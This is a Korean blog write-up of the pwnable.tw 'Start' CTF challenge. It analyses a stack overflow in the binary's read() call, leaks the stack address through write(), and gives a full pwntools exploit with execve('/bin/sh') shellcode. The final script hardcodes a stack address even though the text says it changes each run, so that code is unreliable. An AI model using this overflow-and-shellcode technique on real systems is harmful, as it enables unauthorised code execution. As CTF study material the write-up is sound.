관리 메뉴

Bull

[pwnable.tw] Start (write up 일지) 본문

Wargame/pwnable.tw

[pwnable.tw] Start (write up 일지)

Bull_ 2024. 4. 6. 16:24

함수 확인


info func

 

아직 gdb 사용에 미숙하여 우선 아이다와 함께 디컴파일러를 통해 어떤 함수가 있는 지 보았다.

 

gdb에서 info func을 통해서도 확인할 수 있다.

 

b* _start

 

main으로 시작되는 함수가 _start() 인것을 알았다면 우선 브레이크 포인트를 잡아준다.

 

_start() 분석


우선 인자를 넣기 위해 eax,ebx,ecx,edx를 0으로 초기화 하는 것으로 보인다.

<_start+14> 부분 부터는 출력할 인자를 미리 스택에 넣어 놓는 것으로 보인다.

이부분은 eax(al), ebx(bl), edx(dl)에 인자가 들어가고 아래 int 0x80이 보이는데 이는 리눅스의 32bit 아키텍쳐에서의

 

syscall이다. 따라서 write()를 실행한다. (화면으로 출력)

그 아래에는 read()를 호출하는데 컴퓨터 입장에서 읽는 거니까 내가 버퍼에 넣은 값을 읽어주는 함수이다.

%eax arg0 (%ebx) arg1 (%ecx) arg2 (%edx)
0x3 0 esp에 있던 주소 0x3c

esp에 있던 주소 값에 0x3c만큼 버퍼를 작성할 수 있다.

전체적으로 다시보면 0x08048087에서 esp값이 ecx로 가고 값이 그대로 라는 것을 알 수 있다.

 

이것을 해석해서 보면 write를 썻던 스택의 첫 주소가 이제 쓸모없으니까 재활용 한것으로 생각할 수 있다.

00:0000│ ecx esp 0xffffd174 ◂— 0x2774654c ("Let'")
01:0004│         0xffffd178 ◂— 0x74732073 ('s st')
02:0008│         0xffffd17c ◂— 0x20747261 ('art ')
03:000c│         0xffffd180 ◂— 0x20656874 ('the ')
04:0010│         0xffffd184 ◂— 0x3a465443 ('CTF:')

그런데 여기 입력값이 0x3c만큼 사용할 수 있으므로 버퍼오버 플로우가 발생한다.

 

따라서 [0x804809c <_start+60>    ret] 부분에 원하는 주소를 적어 호출할 수 있도록 변조가 가능하다.

 

정확히는    [0x8048099 <_start+57>    add    esp, 0x14]을 통해 

 

스택을 가리키고 있는 esp가 0x14만큼 덮어씌우게되는 것이다.

 

원래의 로직대로라면

이렇게 맨처음에 스택에 채워진 _exit()를 호출해야되는데 그 부분을 덮어서 ret이 호출할 수 있도록 한 것이다.

 

①정상 작동 시

  [0x8048099 <_start+57>    add    esp, 0x14] 실행 후 ↓

 

② 스택 버퍼오버플로우  [0x8048099 <_start+57>    add    esp, 0x14] 로직에 "BBBB"를 채운 경우

 

 

따라서 21~24바이트 부분은 원하는 주소로 입력하면 된다.

 

나는 여기까진 했는데 그다음 쉘코드를 어떻게 해야할 지 잘 몰라서 찾아보았다.

 

이 다음 부터는 되게 꼬리물기 형식으로 쉘코드를 입력하기 때문에 그냥 봐서는 이해하기 되게 힘들었다 ㅋㅋ...

 

Find Vulnerability


우선 ret 부분에 다른 함수의 주소를 호출할 방법은 찾았다.

이제 이 부분을 다시 활용해볼 것이다.

 

잘 보면 esp의 값은 크게 변동되는 일이 없다.

 

그러면 esp의 주소를 알아내고 esp + 0x14에 셸코드를 채우면 다시 ret를 통해 esp+0x14가 호출되니까 셸코드를 실행할 것이다.

 

[0x8048087 <_start+39>    mov    ecx, esp]

 

이 주소는 write()를 호출하기 때문에 메모리 leak이 발생한다.

 

retn을 조작하고 싶으면 아래 명령어를 통해 직접 해볼 수 있다.

set {int}스택주소 = 0x8048087

 

 write()는 메모리 버퍼에 담긴 문자를 말 그대로 컴퓨터가 write하는 거니까 그 부분의 값들이 노출될 것이다.

 

더 쉽게 말하자면 처음 "Let's start the CTF:" 부분도 0x14만큼 메모리 스택 버퍼에 있는 값들이 노출된 것이다.

 

즉,

 

↓ ret  

그런데 이값은 

맨 처음에 넣었던 esp주소이다.

 

따라서 esp의 주소가 노출될 수 있고 esp +0x14 위치에 셸코드를 넣으면 다시 read()를 통해 셸코드의 주소가 반환되면서

 

셸을 획득할 수 있다.

 

(참고로 esp주소는 실행마다 바뀐다.)

 

Exploit


1. 첫 순회 시 read()의 ret 조작

from pwn import *

context.log_level = 'debug'
p = process("../start")
# p = remote("chall.pwnable.tw",10000)

payload = b''
payload += b'A'*20
payload += p32(0x8048087)

0x18(24)만큼의 바이트를 보냈다. 그러면 의도대로 다시 write()로 돌아갈 것이다.

 

2. 두 번째 순회에서 esp 주소 획득

leak = u32(p.recv(4)) # esp
print('leak:',hex(leak))

위에 했던 설명과 같이 leak된 주소는 맨 처음

[0x8048060 <_start>       push   esp]

를 통해 esp를 알아낼 수 있었다.

 

3. 두 번째 순회의 read()를 통해 셸 실행

payload = b''
payload += b'A'*20
payload += p32(leak+0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
p.sendline(payload)

1번을 다시 진행했다고 생각하면 된다.

 

참고로 셸코드와 1번에서의 주소조작은 둘다 0x3c 보다 작다.

 

그러면 leak은 스택에 있는 주소이고 leak+0x14로 eip가 이동하게 되고,

 

leak+0x14에는 셸코드가 적혀있어서 그것을 실행하게 된다.

 

 

셸을 획득했다. flag의 경로는 /home/start/flag이다.

전체 코드

from pwn import *

context.log_level = 'debug'
# p = process("../start")
p = remote("chall.pwnable.tw",10000)

payload = b''
payload += b'A'*20
payload += p32(0x8048087)
p.sendafter("CTF:",payload)

leak = u32(p.recv(4)) # esp
print('leak:',hex(leak))

payload = b''
payload += b'A'*20
payload += p32(0xffffd17c+0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

p.sendline(payload)
p.interactive()

순서도